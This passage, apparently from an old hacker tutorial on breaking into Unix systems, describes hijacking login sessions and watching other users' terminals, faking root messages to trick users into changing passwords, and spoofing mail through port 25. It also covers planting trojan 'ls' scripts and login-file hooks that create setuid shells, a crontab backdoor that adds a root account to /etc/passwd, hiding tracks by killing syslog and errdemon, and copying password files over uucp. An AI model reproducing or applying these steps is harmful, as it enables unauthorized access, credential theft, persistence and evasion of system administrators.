the shell. He = can't even=20 log off! So, in desperation, he disconnects... It is best to execute = the cat=20 command as a background process, so that you can keep an eye on the u= sers on=20 the system. Usually, the user will call the system back and, unless h= e gets=20 switched back into his old detached account (in which case he will us= ually hang=20 up again), he will kill the detached account's login process. So, if = you see 2=20 users on the system using the same username, you know he's logged bac= k in=20 already. Anyways...after an appropriate length of time, and you feel = that he's=20 disconnected, log off and call the system back a few times until you = get=20 switched into the detached account. Then just create a uid shell owne= d by the=20 account and you can use it any time you please, even though you don't= know the=20 password. Just remember one thing, though-when the cat command has fi= nished=20 displaying the compiled file on the victim's screen, if he is still l= ogged on=20 to that terminal, he will regain control. Use a long file! FAKING WRITE MESSAGES --------------------- =09Being able to write to other people's terminal files also makes it= =20 possible to fake write messages from any user on the system. For exam= ple, you=20 wish to fake a message from root. Edit a file to contain these lines: Message from root console ^g [note control-g (bell) character] Bill, change your password to "commie" before logging off today. Ther= e has been=20 a security leak. [don't forget to put this--in the file.] Now, type "who" to find bill's tty device, and type: cat [filename] > /dev/ttyxx Bill will see: Message from root console [beep!] Bill, change your password to "commie" before logging off today. Ther= e has been=20 a security leak. WHEN FILE PERMISSIONS ARE CHECKED --------------------------------- =09Unix checks file permissions every time you issue a write or execu= te=20 command to a file. It only checks read permissions, however, when you= first=20 issue the read command. For instance, if you issued the command to ca= t the=20 contents of a file, and someone changed the file's permissions so tha= t you did=20 not have read permission while the process was still being executed, = the cat=20 command would continue as normal. ONLINE TERMINAL READING ----------------------- =09You can also, if you have some means of assuming an account's user= id,=20 (such as having a uid shell for that account), you can read the conte= nts of=20 someone's terminal on-line. Just execute the uid shell and type "cat= =20 /dev/ttyxx &" (which will execute the cat command in the background, = which will=20 still display the contents to your screen, but will also allow you to= enter=20 commands). Once the person logs off, ownership of his terminal device= file will=20 revert to root (terminal device files are temporarily owned by the ac= count=20 logged in under them), but since you had the proper permissions when = you=20 started the read process, you can still continue to view the contents= of that=20 terminal file, and can watch, online, as the next use logs in. There = is also=20 one other trick that can sometimes be used to gain the root password,= but=20 should be exercised as a last resort, since it involved revealing you= r identity=20 as a hacker to the superuser. On many systems, the superuser also has= a normal=20 user account that he uses for personal business, and only uses the ro= ot account=20 for system management purposes. (This is, actually, a rather smart se= curity=20 move, as it lessens the chances of, say, things like his executing a = trojan=20 horse program while under the root account, which, to say the least, = could be=20 disastrous [from his point of view].) If you can obtain a uid shell f= or his=20 user account, simply execute a read process of his terminal file in t= he=20 background (while under the uid shell), and then drop back into your = normal=20 shell. Then send him a write message like: I'm going to format your winchesters When he uses the su command to go to the superuser account to kick yo= u off the=20 system, you can sit back and watch him type in the root password. (Th= is should=20 only be done if you have more than one account on the system- remembe= r, many=20 systems will not let you log into a superuser account remotely, and i= f the only=20 account you have is a superuser account, you are effectively locked o= ut of the=20 system.) MAIL FRAUD ---------- =09The TCP/IP protocol is a common protocol for file transfers betwee= n=20 Unix systems, and between Unix and other operating systems. If the Un= ix system=20 you are on features TCP/IP file transfers, it will have the telnet pr= ogram on- line, usually in the directory /bin. This can be used to fake mail f= rom any=20 user on the system. Type "telnet" to execute the telnet program. You = should=20 see: Telnet> At this prompt, type "open [name] 25", where name is the uucp network= name of=20 the system you are on. This will connect you to the system's 25th por= t, used to=20 receive network mail. Once connected, type: rcpt to: [username] Where username is the name of the user you wish to send mail to. Next= , type: mail from: [user] Where user is the name of the use you wish the mail to appear from. Y= ou can=20 also specify a non-existant user. You can also fake network mail from= a user on=20 another system. For information on the format of the address, see the= section=20 on the uucp facilities. Then type: data You will be prompted to enter the message. Enter "." on a blank line = to end and=20 send the mail. When you'e finished sending mail, type "quit" to exit. =09Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel= bit=20 of information. UNIX TROJAN HORSES ------------------ =09This is an old, OLD subject, and there's little original material = to=20 add about it. Trojan horses are programs that appear to execute one f= unction,=20 but actually perform another. This is perhaps the most common means o= f hacking=20 Unix. =09One of the easiest means of setting up a Unix trojan horse is to p= lace=20 a program named after a system command, such as ls, "in the way" of s= omeone's=20 search path. For instance, if a user's searchpath is ".:/usr/bin", wh= ich means=20 that the system searches the user's current directory for a command f= irst, you=20 could place a shell script in the user's home directory called "ls" t= hat, when=20 executed, created a copy of the shell, set the new shell file's uid a= nd gid=20 bits, echo an error message (such as "lsa: not found", leading the us= er to=20 think he mistyped the command and the offending character was not ech= oed, due=20 to line noise or whatever), and delete itself. When the user executes= the ls=20 command in his directory, the uid shell is created. Another good idea= is to set=20 the name of the trojan to a command in the user's login file, have it= make the=20 uid shell, execute the real command, and then delete itself. =09Another good way to set up a trojan horse is to include a few line= s in=20 a user's login file. Simply look at the user's password file entry to= find out=20 which shell he logs in under, and then modify the appropriate login f= ile (or=20 create one if it doesn't exist) to create a uid shell when the user l= ogs on. =09If you can modify a user's file in the directory=20 /usr/spool/cron/crontabs, you can add an entry to create a uid shell.= Just=20 specify * * * * * as the times, and wait about 1-2 minutes. In 1 minu= te, the=20 cron utility will execute the commands in the user's crontab file. Th= en you can=20 delete the entry. Again, if the user doesn't have a file in=20 /usr/spool/cron/crontabs, you can create one. =09One last note- be sure you give the trojan horse execute permissio= nsm,=20 otherwise the victim will receive the message "[filename]- cannot exe= cute"...=20 Kind of a dead giveaway. CHANGING UID PROGRAMS --------------------- =09If you have write access to a uid file, you can easily modify it t= o=20 become a shell. First, copy the file. Then type: cat /bin/sh > [uid file] This will replace the file's contents with a shell program, but the u= id bit=20 will remain set. Then execute the file and create a well-hidden uid s= hell, and=20 replace the subverted uid file with the copy. ADDING AN ACCOUNT TO A UNIX SYSTEM ---------------------------------- =09To add an account to a Unix system, you must have write access to = the=20 password file, or access to the root account so that you can change t= he=20 password file's protections. To add an account, simply edit the file = with the=20 text file editor, edit (or any of the other Unix editors, if you wish= ). Add an entry like this: [username]::[user#]:[group#]:[description]:[home directory]:[pathname= of shell] Notice that the password field is left blank. To set the password, ty= pe: passwd [username] You will then be prompted to enter and verify a password for the acco= unt. If you wish the account to have superuser privileges, it must have a = user=20 number of zero. UNIX BACKDOOR ------------- =09A backdoor is a means of by-passing a system's normal security for= =20 keeping unauthorized users out. For all the talk about back doors, th= ey are=20 rarely accomplished. But creating a backdoor in Unix System V is real= ly quite=20 easy. It simply requires adding a few entries to the file=20 /usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the fil= e doesn't=20 exist, you can create it.) Add these lines, which will create 2 accou= nts on the system, one a user account ("prop") and one a superuser account ("pro= p2"), at 1 am system time every night, and delete them at 2 am every night. 0 1 * * * chmod +w /etc/passwd 1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd 2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd 20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p 0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd 10 2 * * * chmod -w /etc/passwd 15 2 * * * rm /usr/spool/uucppublic/.p COVERING YOUR TRACKS -------------------- =09Naturally, you want to keep your cover, and not leave any trace th= at=20 there is a hacker on the system. This section will give you some tips= on how to=20 do just that. First of all, the Unix system keeps track of when a fil= e was last=20 modified (see the information on the command ls -l in the section on = file and=20 directory protections). You don't want anyone noticing that a file ha= s been=20 tampered with recently, so after screwing around with a file, if at a= ll=20 possible, you should return its last modified date to its previous va= lue using=20 the touch command. The syntax for the touch command is: touch hhmmMMdd [file] Where hh is the hour, mm is the minute, MM is the month, and dd is th= e day.=20 [file] is the name of the file you wish to change the date on. =09What usually gives hackers away are files they create on a system.= If=20 you must create files and directories, make use of the hidden files f= eature.=20 Also, try to hide them in directories that are rarely "ls"'d, such as= =20 /usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose = contents=20 are rarely tampered with). =09Avoid use of the mail facilities, as anyone with the proper access= can=20 read the /usr/mail files. If you must send mail to another hacker on = the=20 system, write the message into a text file first, and encrypt it. The= n mail it=20 to the recipient, who can save the message without the mail header us= ing the w=20 option, and decrypt it. =09Rather than adding additional superuser accounts to a system, I've= =20 found it better to add simple user accounts (which don't stand out qu= ite as=20 much) and use a root uid shell (judiciously hidden in a rarely used d= irectory)=20 whenever I need superuser privileges. It's best to use a user account= as much=20 as possible, and only go to the superuser account whenever you absolu= tely need=20 superuser priv's. This may prevent damaging accidents. And be careful= when=20 creating a home directory for any accounts you add. I've always found= it better=20 to use existing directories, or to add a hidden subdirectory to a lit= tle- tampered with directory. =09Many systems have "watchdog" programs which log off inactive accou= nts=20 after a certain period of time. These programs usually keep logs of t= his kind=20 of activityl. Avoid sitting on the sitting doing nothing for long per= iods of=20 time. =09While using some of the methods described in this file, you may re= place=20 a user's file with a modified copy. This copy will be owned by your a= ccount and=20 group instead of the account which owned the original. You can change= the group=20 back to the original owner's group with the chgrp command, the format= of which=20 is: chgrp [groupname] [file] And change the owner back to the original with the chown command: chown [user] [file] =09When you change ownership or group ownership of a file, the uid an= d gid=20 bits respectively are reset, so you can't copy the shell, set its uid= bit, and=20 change its owner to root to gain superuser capabilities. =09Above all, just be careful and watch your step! Unix is a very fle= xible=20 operating system, and even though it comes equipped with very little = in the way=20 of accounting, it is easy to add your own security features to it. If= you do=20 something wrong, such as attempting to log in under a superuser accou= nt=20 remotely only to see "not on console-goodbye", assume that a note is = made of=20 the incident somewhere on the system. Never assume that something [an= ything!]=20 won't be noticed. And leave the system and its files exactly as you f= ound them.=20 In short, just use a little common sense. =09If you're a real klutze, you can turn off the error logging (if yo= u=20 have root capabilities). I will include information on System V error= logging,=20 which most Unix clones will have error logging facilities similar to,= and on=20 Berkely Standard Distribution (BSD) Unix error logging. BERKELY (BSD) UNIX ERROR LOGGING -------------------------------- Type "cat /etc/syslog.pid". This file contains the=20 process number of the syslog (error logging) program. Kill this proce= ss, and=20 you stop the error logging. Remember to start the logging process bac= k up after=20 you're through stumbling around.=20 =09If you want to see where the error messages are sent, type: cat /etc/syslog.config Entries are in the form: #file Such as: 5/etc/errlogfile The number is the priority of the error, and the file is the file tha= t errors=20 of that priority or higher are logged to. If you see an entry with /d= ev/console=20 as its log file, watch out! Errors of that priority will result in an= error=20 message being displayed on the system console. Sometimes, a list of u= sernames=20 will follow an entry for errorlogging. This means that these users wi= ll be=20 notified of any priorities of that level or higher. There are 9 levels of priority to errors, and an estimation of their= =20 importance: 9 -Lowly errors. This information is just unimportant junk used= to debug =09small errors in the system operation that usually won't affect its =09performance. Usually discarded without a glance. 8 -Usually just thrown away. These messages provide information= on the =09system's operation, but nothing particularly useful. 7 -Not greatly important, but stored for informational purposes= . 6 -System errors which can be recovered from. 5 -This is the priority generally given to errors caused by hac= kers- =09not errors, but important information, such as security violatins: =09bad login and su attempts, attempts to access files without proper =09permissions, etc. 4 -Errors of higher priority than 6. 3 -Major hardware and software errors. 2 -An error that requires immediate attention...very serious. 1 -***<<<(((CRAAASSSHHH!!!)))>>>***- SYSTEM V ERROR LOGGING ---------------------- =09System V error logging is relatively simple compared to Berkely Un= ix=20 error logging. The System V error logging program is errdemon. To fin= d the=20 process id of the error logging program, type "ps -uroot". This will = give you a=20 list of all the processes run under the root id. You will find /etc/e= rrdemon=20 somewhere in the list. Kill the process, and no more error logging. T= he=20 errdemon program is not as sophisticated as BSD Unix's syslog program= : it only=20 logs all errors into a file (the default file is /usr/adm/errfile, bu= t another=20 file can be specified as an argument to the program when it is starte= d).=20 Errdemon does not analyze the errors as syslog does, it simply takes = them from=20 a special device file called /dev/error and dumps them into the error= logging=20 file. If you wish to examine the error report, use the errpt program,= which=20 creates a report of the errors in the error logging file and prints i= t out on=20 the stanard output. The format is: errpt [option] [error logging file= ]. For a=20 complete report of all errors, use the -a option: errpt -a /usr/adm/errfile The output is very technical, however, and not of much use to the hac= ker. UUCP NETWORKING --------------- =09This section will cover the workings and use of the Unix uucp=20 facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are= for the=20 exchange of files between Unix systems. There also facilities for use= rs to dial=20 out and interact with remote systems, and for executing limited comma= nds on=20 remote systems without logging in. OUTWARD DIALING --------------- =09The command for outward dialing is cu. The format is: cu -n[phone number] Such as: cu -n13125285020 On earlier versions of Unix, the format was simply "cu [phone number]= ". Note, that the format of the phone number may be different from syste= m to=20 system- for instance, a system that dials outward off of a pbx may ne= ed to have=20 the number prefixed by a 9, and one that uses an extender may not nee= d to have=20 the number (if long distance) preceded by a 1. To dial out, however, = the system=20 must have facilities for dialing out. The file /usr/lib/uucp/Devices = (called=20 L-devices on earlier systems) will contain a list of the available di= alout=20 devices. Entries in this file are in the format: [device type] [device name] [dial device] [linespeed] [protocol, = optional] Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout d= evice. DIR=20 is a direct connection to a specific system. Device name is the name= of the=20 base name of the dialout device's device file, which is located in th= e /dev=20 directory. Dial device is usually an unused field. It was used on old= er systems=20 where one device (device name in the above example) was used to excha= nge data,=20 and another device (dial device, above) did the telephone dialing. In= the age=20 of the autodial modem, this is a rarely used feature. The next, lines= peed, is=20 the baud rate of the device, usually either 300, 1200, or 2400, possi= bly 4800=20 or 9600 if the device is a direct connection. The protocol field is f= or=20 specifying the communications protocol. This field is optional and ge= nerally=20 not used. Here is an example entry for a dialout device and a direct= =20 connection: ACU tty99 unused 1200 DIR tty03 unused 9600 If a dialout device is capable of more than one baud rate, it must ha= ve 2=20 entries in the Devices (L-devices) file, one for each baud rate. Note= , that the=20 device in the above example is a tty- usually, dialout device names w= ill be in=20 the form tty##, as they can be used both for dialing out, and receivi= ng=20 incoming calls. The device can be named anything, however. There are several options worth mentioning to cu: -s Allows you to specify the baud rate. There must be a device i= n the =09Devices file with this speed. -l Allows you to specify which device you wish to use. If you wish to connect to a system that there is a direct connection = with,=20 simply type "cu -l[device]". This will connect you to it. You can als= o do that=20 do directly connect to a dialout device, from which point, if you kno= w what=20 commands it accepts, you can give it the dial commands directly. Using the cu command is basically the same as using a terminal progra= m. When=20 you use it to connect to a system, you then interact with that system= as if you=20 dialed it directly from a terminal. Like any good terminal program, t= he cu=20 "terminal program" provides facilities for file transfers, and other = commands.=20 Here is a summary of the commands: ~. -Disconnect from the remote system. ~! -Temporarily execute a shell on the local system. = When you=20 =09=09 wish to return to the remote system, press control-D. ~![cmd] -Execute a command on the local system. Example: ~= !ls -a ~$[cmd] -Execute a command on the local system and send th= e output to =09=09 the remote system. ~%put f1 f2 -Sends a file to the remote system. F1 is the name= of the =09=09 file on the local system, and f2 is the name to be given the =09=09 copy made on the remote system. ~take f1 f2 -Copies a file from the remote to the local system= . F1 is =09=09 the name of the remote file, and f2 is the name to be given =09=09 to the local copy. Note, that the commands for transferring output and files will only w= ork if you=20 are communicating with another Unix system. =09You may be wondering how you can find out the format for the phone= =20 number, which is necessary to dial out. The format can be obtained fr= om the=20 file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). Th= is file=20 contains the uucp network names and phone numbers of other Unix syste= ms, as=20 well as other information about them. This file contains the informat= ion needed=20 to carry out uucp file transfers with the systems listed within it. T= he entries=20 are in the format: [system name] [times] [devicename] [linespeed] [phone number] [l= ogin info] System name is the name of the system. Times is a list of the times when the system can be contacted. This f= ield will=20 usually just have the entry "Any", which means that the system can be= contacted=20 at any time. Never means that the system can never be called. You can= also=20 specify specific days and times when the system can be contacted. The= days are=20 abbreviated like this: Su Mo Tu We Th Fr Sa Where Su is Sunday, Mo is Monday, etc. If the system can be called on= more than=20 one day of the week, you can string the days together like this:SuMoT= u for=20 Sunday, Monday, and Tuesday. You can also specify a range of hours wh= en the=20 system can be called, in the 24 hour format, like this: Su,0000-0100 = means that=20 the system can be called Sunday from midnight to 1am. The week days (= Monday=20 through Friday) can be abbreviated as Wk. Device name is the name of the device to call the system with. If the= system is=20 directly connected, this file will contain the base name of the devic= e file of=20 the device which connects it to the local system. If the system has t= o be=20 dialed over the phone, this field will be "ACU". Linespeed is the baud rate needed to connect to the system. There mus= t be a=20 device available with the specified baud rate to contact the system. Phone number is the phone number of the system. By looking at these e= ntries,=20 you can obtain the format for the phone number. For instance, if this= field=20 contained "913125285020" for an entry, you would know that the format= would be=20 9+1+area code+prefix+suffix.=20 The login field contains information used for uucp transfers, and wil= l be=20 discussed in detail later. =09Sometimes you will see alphabetic or other strange characters in t= he=20 phone number field. Sometimes, these may be commands for the particul= ar brand=20 of modem that the system is using to dialout, but other times, these = may=20 actually be a part of the phone number. If so, the meaning of these c= haracters=20 called tokens can be found in the file /usr/lib/uucp/Dialcodes (calle= d L-dialcodes on earlier systems). Entries in this file are in the form= : token translation For example: chicago 312 Would mean that the token chicago means to dial 312. So, if the phone= number=20 field of a Systems entry was: chicago5285020 It would mean to dial 3125285020. You can add an entry to the Systems file for systems that you wish to= call=20 frequently. Simply edit the file using one of the Unix system's edito= rs, and=20 add an entry like this: ripco Any ACU 1200 13125285020 unused And then any time you wished to call the BBS Ripco, you would type: cu ripco And the system would do the dialing for you, drawing the phone number= from the=20 entry for Ripco in the Systems file. HOW UUCP TRANSFERS WORK ----------------------- =09This section will detail how a uucp file transfer works. When you = issue=20 the command to transfer a file to/from a remote system, the local sys= tem dials=20 out to the remote system. Then, using the information contained in th= e login=20 field of the Systems file, it logs into an account on the remote syst= em, in=20 exactly the same manner as you would log into a Unix system. Usually,= however,=20 uucp accounts use a special shell, called uucico, which implements ce= rtain=20 security features which (are supposed to) keep the uucp account from = being used=20 for any other purpose than file transfers with another Unix system. (= Note: not=20 ALL uucp accounts will use this shell.) If you've ever logged into th= e uucp=20 account on the system and received the message, "Shere=3D[system name= ]", and the=20 system wouldn't respond to any of your input, that account was using = the uucico=20 shell, which prevents the account from being used as a normal "user" = account.=20 The local system then requests the transfer, and if security features= of the=20 remote system which will be discussed later do not prevent the transf= er, the=20 file will be copied to (or from if you requested to send a file) the = local=20 system. The account is then logged off of the remote system, and the = connection=20 is dropped. ADDING A LOGIN FIELD TO A SYSTEMS ENTRY -------------------------------------- =09Many superusers feel that if the uucp account uses the uucico shel= l,=20 that it is "secure". Because of this, they may ignore other uucp secu= rity=20 measures, and probably not give the account a password. If you find s= uch a=20 system, you can add an entry for the system to the Systems (L.sys) fi= le of=20 another Unix system and try to, say, transfer a copy of its password = file. To=20 do so, simply follow the outline in the section on cu for how to add = an entry=20 to the Systems file. That will cover everything but how to add the lo= gin field,=20 which is covered in this section.=20 =09The login section consists of expect/sendsubfields. For example, h= ere=20 is an example login field: ogin: uucp assword: uucp The first subfield is what is expected from the remote system, in thi= s case=20 "ogin:". This means to expect the login prompt, "Login:". Note, that = you do not=20 have to enter the complete text that the remote system sends, the tex= t sent=20 =66rom the remote system is scanned left to right as it is sent until= the=20 expected text is found. The second subfield contains the local system= 's=20 response, which is sent to the remote system. In this case, the local= system=20 sends "uucp" when it receives the login prompt. Next, the local syste= m scans=20 the output from the remote system until it receives "assword:" ("pass= word:"),=20 then sends "uucp" (the password, in this example, for the uucp accoun= t).=20 Because of line noise or other interference, when the local system co= nnects to=20 the remote, it may not receive the expected string. For this possibil= ity, you=20 may specify the expected string several times, like this: ogin:-ogin: uucp assword:-assword: uucp The - separates that if the expected string is not received, to expec= t the=20 string specified after the hyphen. Sometimes, you may need to send a = special=20 character, such as kill or newline, to the system if the expected str= ing is not=20 received. You can do that like this: ogin:-BREAK-ogin: uucp assword: uucp The -BREAK- means that if ogin: isn't received the first time, to sen= d a break=20 signal to the remote system, and then expect ogin: again. Other commo= n entries=20 are: ogin:-@-ogin: Send a kill character if the expected string = isn't =09=09=09received the first time. ogin:-EOT-ogin: Send a control-D if the expected string isn't= received. ogin:--ogin: Send a null character if the expected string = isnt'=20 =09=09=09received. If the system you wish to transfer files with doesn't send anything w= hen you=20 first connect to it, (say, you have to press return first), the first= expect=20 entry should be "" (nothing), and the first send field should be \r (= a return=20 character). There are certain characters, like return, which are repr= esented by=20 certain symbols or combinations of characters. Here is a list of thes= e: \r -Return. @ -Kill. - -Null/newline character. "" -Nothing. UNUSUAL LOGIN ENTRIES --------------------- =09Sometimes, the login entry for a system might contain more than ju= st=20 fields to expect the login prompt, send the username, expect the pass= word=20 prompt, and send the password. For instance, if you have to go throug= h a=20 multiplexer to get to the system, the login field would contain a sub= field to=20 select the proper system from the multiplexer. =09Sometimes, on systems, that use the Hayes smartmodem to dial out, = the=20 phone number field may be left unused (will contain an arbitrary entr= y, such as=20 the word "UNUSED"), and the dialing command will be contained in the = login=20 field. For example: ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: n= ew So, when you try to transfer a file with a Unix system called "ripco"= : "UNUSED" is sent to the Hayes smartmodem. Of course, this is not a va= lid Hayes=20 command, so it is ignored by the modem. Next, the system moves the lo= gin field.=20 The first expect subfield is "", which means to expect nothing. It th= en sends=20 the string "ATDT13125285020", which is a Hayes dialing comand, which = will make=20 the modem dial 13125285020. When the string "CONNECT" is received (wh= ich is=20 what the smartmodem will respond with when it connects), the system s= ends a=20 carriage return and waits for the "Usernumber:" prompt. When it recei= ves that,=20 it sends "new". This completes the login. UUCP SYNTAX ----------- =09Once you've completed an entry for the Unix system you wish to tra= nsfer=20 files with, you can issue the uucp command, and attempt the transfer.= The=20 syntax to copy a file from the remote system is: uucp remote![file pathname] [local pathname] Where remote is the name of the system you wish to copy the file from= , [file=20 pathname] is the pathname of the file you wish to copy, and [local pa= thname] is=20 the pathname of the file on the local system that you wish to name th= e copy=20 that is made on the local system. To transfer a file from the local system to the remote system, the sy= ntax is: uucp [local pathname] remote![file pathname] Where [local pathname] is the file on the local system that you wish = to=20 transfer to the remote system, remote is the name of the remote syste= m, and=20 [file pathname] is the pathname you wish to give to the copy to be ma= de on the=20 remote system.=20 So, to copy the ripco system's password file, type: uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile Which will, hopefully, copy the password file from ripco into a file = on the=20 local system called /usr/spool/uucppublic/ripcofile. The directory= =20 /usr/spool/uucppublic is a directory set up especially for the recept= ion of=20 uucp-transferred files, although you can have the file copied to any = directory=20 (if the directory permissions don't prevent it). DEBUGGING UUCP PROCEDURES ------------------------- =09So, what if your transfer did not go through? Well, this section w= ill=20 detail how to find out what went wrong, and how to correct the situat= ion. UULOG ----- =09The uulog command is used to draw up a log of transactions with re= mote=20 systems. You can either draw up the entries by system name, or the na= me of the=20 user who initiated the transaction. For our purposes, we only want to draw up the log by system name. The= format=20 is: uulog -s[system name] Now, this will pull up the logs for ALL transactions with this partic= ular=20 system. We only want the logs for the last attempted transaction with= the=20 system. Unfortunately, this can't be done, you'll just have to sort t= hrough the=20 logs until you reach the sequence of the last transaction. If the log= s extend=20 back a long time, say about a week, however, you can use the grep com= mand to=20 call up the logs only for a certain date: uulog -s[system] | grep mm/dd- Where mm is the month (in the form ##, such as 12 or 01) and dd is th= e day, in=20 the same form). This takes the output of the uulog command, and searc= hes=20 through it with the grep command and only prints out those entries wh= ich=20 contain the date the grep command is searching for. The log entries w= ill be in=20 the form: [username] [system] (month/day-hour:minute-pid) DESCRIPTION Where: username -Is the userid of the account that initiated the tran= saction. system -Is the name of the system that the transaction was a= ttempted =09=09with. month/day -Date of transaction. hour:minute -Time of transaction. job number -The transfer's process id. DESCRIPTION -The log message. An example of a typical log entry: root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) In the above example, the root account initiated a transaction with t= he Ripco=20 system. The system was contacted on November 20, at 2:00. The job num= ber of the=20 transaction is 1234. Here is an explanation of the various log messages you will encounter= , and=20 their causes: 1. SUCCEEDED (call to [system name]) The system was successfully contacted. 2. DIAL FAILED (call to [system name]) Uucp failed to contact the system. The phone number entry for the sys= tem in the=20 Systems file may be wrong, or in the wrong format. 3. OK (startup) Conversation with the remote system has been initiated. 4. LOGIN FAILED Uucp was unable to log into the remote system. There may be an error = in the=20 login field in the entry for the remote system in the Systems file, o= r line=20 noise may have caused the login to fail. 5. WRONG SYSTEM NAME The system's entry in the Systems file has the wrong name for the sys= tem at the=20 phone number specified in the entry. 6. REMOTE DOES NOT KNOW ME The remote system does not recognize the name of the local system, an= d will not=20 perform transactions with an unknown system (some will, some won't...= see the=20 section on uucp security). 7. REQUEST ([remote file] --> [local file] username) The file transfer has been requested. 8. OK (conversation complete) The transfer has been completed. 9. ACCESS DENIED Security measures prevented the file transfers. If you get this error, you will receive mail on the local system info= rming you=20 that the transfer was denied by the remote. 10. DEVICE LOCKED All the dialout devices were currently in use. A successful transaction log will usually look like this: root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) root ripco (11/20-2:01-1234) OK (startup) root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofil= e root) root ripco (11/20-2:03 1234) OK (conversation complete) =09When an error occurs during a transfer with a system, a status fil= e is=20 created for that system, and remains for a set period of time, usuall= y about an=20 hour. During this time, that system cannot be contacted. These files,= depending=20 on which version of Unix you are on, will either be in the directory= =20 /usr/spool/uucp, and have the form: STST..[system name] or will be in the directory /usr/spool/uucp/.Status, and have the sam= e name as=20 the system. These status files will contain the reason that the last = transfer=20 attempt with the system failed. These files are periodically purged, = and if you=20 wish to contact the system before its status file is purged, you must= delete=20 its status file. The files containing the failed transfer request will also remain. If= you are using the latest version of System V, these files will be in a subdir= ectory of the directory /usr/spool/uucp. For instance, if the system is called = ripco,=20 the files will be in the directory /usr/spool/uucp/ripco. On other sy= stems,=20 these files will be in the directory /usr/spool/uucp/C., or /usr/spoo= l/uucp.=20 These files are in the form: C.[system name]AAAAAAA Where [system name] is the name of the system to be contacted, and AA= AAAA is a=20 the transfer's uucp job number. (You can see the transfer request's j= ob number=20 by specifying the j option when you initiate the transfer. For exampl= e,=20 "uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would ini= tiate the transfer of the ripco system's password file, and display the job num= ber on=20 your screen.) Type "cat C.system[jobnumber]", and you will see someth= ing like=20 this: R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest On earlier versions of Unix, these files will be in the directory= =20 /usr/spool/uucp/C. To find the file containing your transfer, display= the=20 contents of the files until you find the proper one. If your transfer= fails,=20 delete the transfer request file and the status file, correct any err= ors in the=20 Systems file or whatever, and try again! UUCP SECURITY ------------- =09Obviously, uucp access to files has to be restricted. Otherwise,= =20 anyone, from any system, could copy any file from the remote system. = This=20 section will cover the security features of the uucp facilities. =09The file /usr/lib/uucp/USERFILE contains a list of the directories= that=20 remote systems can copy from, and local users can send files from to = remote=20 systems. The entries in this file are in the format: [local user],[system] [callback?] [directories] Where: local user -Is the username of a local account. This is for the = purpose =09=09of restricting which directories a local user can send files =09=09from to a remote system.=20 system -Is the name of a remote system. This is for the purp= ose of=20 =09=09restricting which directories a specific remote system can =09=09copy files from. callback? -If there is a c in this field, then if a transfer re= quest is =09=09received from the system indicated in the system field, then =09=09the local system (in this case, the local system is the system =09=09which receives the transfer request, rather than the system =09=09that initiated it) will hang up and call the remote back (at =09=09the number indicated in the remote's entry in the local's =09=09Systems file) before starting the transfer. directories -Is a list of the pathnames of the directories that t= he remote =09=09system indicated in the system field can copy files from, or =09=09the local user indicated in the local user field can send files =09=09from to a remote system. A typical entry might look like: local_dork,ripco - /usr/spool/uucppublic This means that the user local_dork can only send files to a remote s= ystem=20 which are in the directory /usr/spool/uucppublic, and the remote syst= em ripco=20 can only copy files from the local system that are in the directory= =20 /usr/spool/uucppublic. Th